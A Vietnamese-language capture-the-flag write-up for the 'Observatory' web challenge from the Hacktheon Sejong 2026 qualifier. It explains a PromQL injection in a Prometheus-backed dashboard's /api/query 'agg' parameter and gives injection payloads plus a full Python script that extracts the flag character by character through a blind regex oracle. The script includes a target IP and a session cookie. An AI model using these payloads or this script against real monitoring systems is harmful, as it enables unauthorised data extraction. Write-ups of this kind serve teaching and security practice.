#A few bittersweet words...
Đây là writeup cho các challenge web vòng sơ khảo Hacktheon Sejong 2026. Một mùa giải khá “nửa này nửa kia” với 2 team BKSec khi không thể đầy đủ tại Sejong 2026.
Nhưng thôi, dù sao ae cũng "slop" hết sức, giờ sang đấy cố "slop" tiếp :D. Hẹn mọi người ở Sejong (nếu you đọc bài này trước 7/2026 :b).
#Observatory
#TL;DR
Description:
Our cloud monitoring team built a shiny new dashboard. Each team gets their own metrics namespace. But rumor has it... someone hid a secret in the system metrics. Can you find it?
Challenge là ứng dụng dashboard monitoring sử dụng dùng Prometheus. API /api/query nhận tham số agg và ghép thẳng vào câu PromQL mà không sanitize đúng cách, dẫn tới PromQL Injection. Backend không cho phép dùng các function nhưng bỏ sót toán tử logic or, and,...dẫn tới có thể inject để mở rộng query. Dựa vào logic và sự khác nhau giữa value trả về từ server, blind brute force từng ký tự trong flag.
#Sơ qua về ứng dụng
Khi truy cập lần đầu, ta sẽ được yêu cầu đăng nhập để truy cập dashboard
Tất nhiên là ta sẽ đăng ký và đăng nhập như một người dùng bình thường, dựa vào Response header, ta có thể thấy webapp này được xây dựng trên Node.Js, sử dụng Express với express session
Hoặc đơn giản hơn ta có thể xem bằng Wappalyzer
Sau khi đăng nhập ta được redirect tới trang chủ, ta thấy nó hiển thị tên ở góc phải, nhưng đó không phải là tên ta đã đăng ký. Và có chức năng tên Query Metrics cho phép chọn dropdown một vài lựa chọn và nhập metric name
Dựa vào việc bắt request qua Burp Suite, ta thấy được khi nhấn nút Execute, ứng dụng gửi một request POST tới /api/query với dữ liệu dạng JSON kèm theo 2 trường metric và agg ta chọn trước đó
Sơ lược qua ta có thể thấy ứng dụng này có vẻ là một dashboard cho phép ta search hoặc thực thi với thông số gì đó với 2 tham số như trên
#Recon
Recon qua chút về ứng dụng, sau khi scan directory, param ẩn, dịch vụ,... thì không có gì đặc biệt
Hay như xem sources qua devtools hoặc network cũng vậy
Ngoại trừ có một api ta tìm ra được sau khi scan với đường dẫn là /api
Khi request tới api này, ta nhận được một loạt các metrics name
Khi nhìn vào các metrics này, ta có thể thấy một vài cái tên như go_... và prometheus_...
từ đó ta có thể suy ra phía sau ứng dụng đang sử dụng Prometheus để lưu trữ, theo dõi metric
Ở cuối cùng của response, ta thấy một metric có tên khá "hấp dẫn", đó là secret_config
#Phân tích lỗ hổng
1. Một chút về Prometheus & PromQL Injection
Prometheus là một hệ thống monitoring và alerting mã nguồn mở chuyên thu thập, lưu trữ và phần tích metrics từ ứng dụng, server theo thời gian real-time. Nó hoạt động theo kiểu định kỳ gửi request HTTP/HTTPS tới các service để pull số liệu về mỗi vài giây (hoặc theo cấu hình), sau đó lưu lại và dùng PromQL để truy vấn, tổng hợp thành các thống kê. Khác với các hệ thống dùng SQL, Prometheus sử dụng PromQL là một ngôn ngữ truy vấn cho metrics (eg. sum(http_requests{status="200"})), chi tiết hơn xem tại đây.
Và PromQL Injection thì cũng y hệt như các loại lỗi injection khác (SQL Injection, XSS,...). Khi dev nối user input vào query PromQL mà không kiểm tra, ta có thể dùng nhiều cách để thoát khỏi query ban đầu và làm server chạy theo ý mình (nếu có thể :v)
2. Phân tích
Quay lại với api /api/query, ta có 2 tham số là metric và agg. Về lý thuyết ta có thể inject vào cả hai, nhưng sau khi thử inject vào metric, tôi nhận thấy response không có gì khác biệt (có thể backend validate hoặc filter riêng cho metric). Ta thử một vài giá trị cho agg (ag):
agg="sum": Server trả về dữ liệu bình thường.
Với một vài query function khác, nó trả ra Invalid parameter như
hay
Có lẽ backend chỉ chấp nhận các aggregation thực sự, với các function khác ta sẽ không được phép, còn với những function không tồn tại thì nó vẫn được thực thi, tuy nhiên sẽ bị báo lỗi do bản chất function này không tồn tại
Từ đây, ta có thể phỏng đoán ở phía backend, PromQL query có thể sẽ trông như sau:
const query = `${agg}(${metric}{namespace="${userNamespace}"})`;
const result = await prometheus.query(query);Tuy nhiên, với toán tử logic (or, and,...), ta có thể sử dụng các toán tử này để nối dài query mà vẫn được backend thực thi. Về định nghĩa, thuộc tính và cú pháp của PromQL, mọi người có thể đọc thêm tại tài liệu chính thức của Prometheus.
Ta kiểm chứng việc có thể inject nối dài query
Giải thích qua chút về payload ta dùng để kiểm chứng suy đoán
{
"metric": "user_active",
"agg": "sum by (instance) (prometheus_http_requests_total) or on(instance)"
}Với query ta suy đoán ở trên, sau khi được gửi đi, query sau khi được nối có thể sẽ là:
sum by (instance) (prometheus_http_requests_total) or on (instance) (user_active{namespace="ns1234"})Trong đó ta chia ra làm 2 phần, vế trái và vế phải của or
-
Vế trái:
sum by (instance) (prometheus_http_requests_total), phần ta inject, truy vấn 1 metric bất kì tồn tại,by (instance)nhóm kết quả theo labelinstance -
Vế phải:
(user_active{namespace="ns1234"}), phần backend ghép nốt vào, trở thành operand phải củaor.
Toán tử or trong PromQL, nếu vế trái là vector rỗng thì nó sẽ nhận giá trị của vế phải, và ngược lại
Ta dùng metric user_active ở request, vì sau khi thử một lượt các metric khác thì có vẻ label namespace ta phỏng đoán hoặc label thật sự ở backend là label thuộc metric user_active, còn với các metric khác thì không có label này
Và câu cuối cùng là tại sao lại filter theo label instance, vì label này được Prometheus tự động gắn vào mọi metric khi scrape, nên cả vế trái lẫn vế phải đều chắc chắn có label này, dẫn tới or on(instance) luôn so khớp dù khác metric
#Khai thác
Mục tiêu ta là đọc nội dung metric secret_config. Nhưng backend chỉ trả ra ở response label namespace và trường value
Mặc dù không đọc được trực tiếp từ label được, ta vẫn còn value để có thể khai thác dạng blind theo như việc ta đã kiểm chứng phía trên
Payload:
sum by (instance) (secret_config{flag=~"^hacktheon2026{.*"}) or on(instance)Khi Backend ghép chuỗi, query cuối cùng gửi tới Prometheus sẽ thành:
sum by (instance) (secret_config{flag=~"^hacktheon2026{.*"}) or on(instance) (user_active{namespace="ns..."})
Payload giống ý tưởng như ta đã phân tích phía trên, chỉ là ta thay ở vế trái bằng metric secret_config với label flag, ta có thể sử dụng =~ nhằm so sánh match từ ký tự trong flag khi chưa biết toàn bộ giá trị value, vì regex được support
Ở payload trên, value được trả ra là 1 do cụm hacktheon2026{ khớp 1 phần value của flag, nên khi vế trái or đúng, nó trả ra 1. Nếu sai, nó sẽ trả ra value của vế phải on (instance) (user_active{namespace="ns..."}), ở đây là giá trị instance của metric user_active
Vậy ta chỉ cần viết một script để tự động hóa việc này, ta sẽ lấy được flag dựa trên luồng khai thác trên với từng ký tự
Flag:
hacktheon2026{pr0m3th3us_m3tr1c_s1d3ch4nn3l}
#Exploit Script
import requests
import string
URL = "http://54.116.50.13:3000"
COOKIES = {"connect.sid": "s%3AUl8Gk4k2V8GdUOhZGm-kMc-1qW_10cxn.EMO3vmdh6Zjn0jdhaXV%2B5ylsPkNZ6SJpBq5VRBzyANw"}
HEADERS = {"Content-Type": "application/json"}
def oracle(regex):
agg = f'sum by (instance) (secret_config{{flag=~"{regex}"}}) or on(instance) '
r = requests.post(f"{URL}/api/query", headers=HEADERS, cookies=COOKIES,
json={"metric": "user_active", "agg": agg})
data = r.json()
if data.get("results"):
return data["results"][0].get("value") == "1"
return False
def extract_flag():
flag = "hacktheon2026{"
charset = string.ascii_lowercase + string.digits + "_-}"
while True:
prefix = "^" + flag.replace("{", "[{]")
for c in charset:
if c == "}":
test = prefix + "[}]"
else:
test = prefix + c + ".*"
if oracle(test):
flag += c
print(f"[+] {flag}")
if c == "}":
print(f"\nFLAG: {flag}")
return flag
break
else:
print(f"Not found")
return flag
if __name__ == "__main__":
extract_flag()#Dark Harbor 1
Comming soon
#Dark Harbor 2
Comming soon
#PhantomPass
Comming soon
#PhantomPass Revenge
Comming soon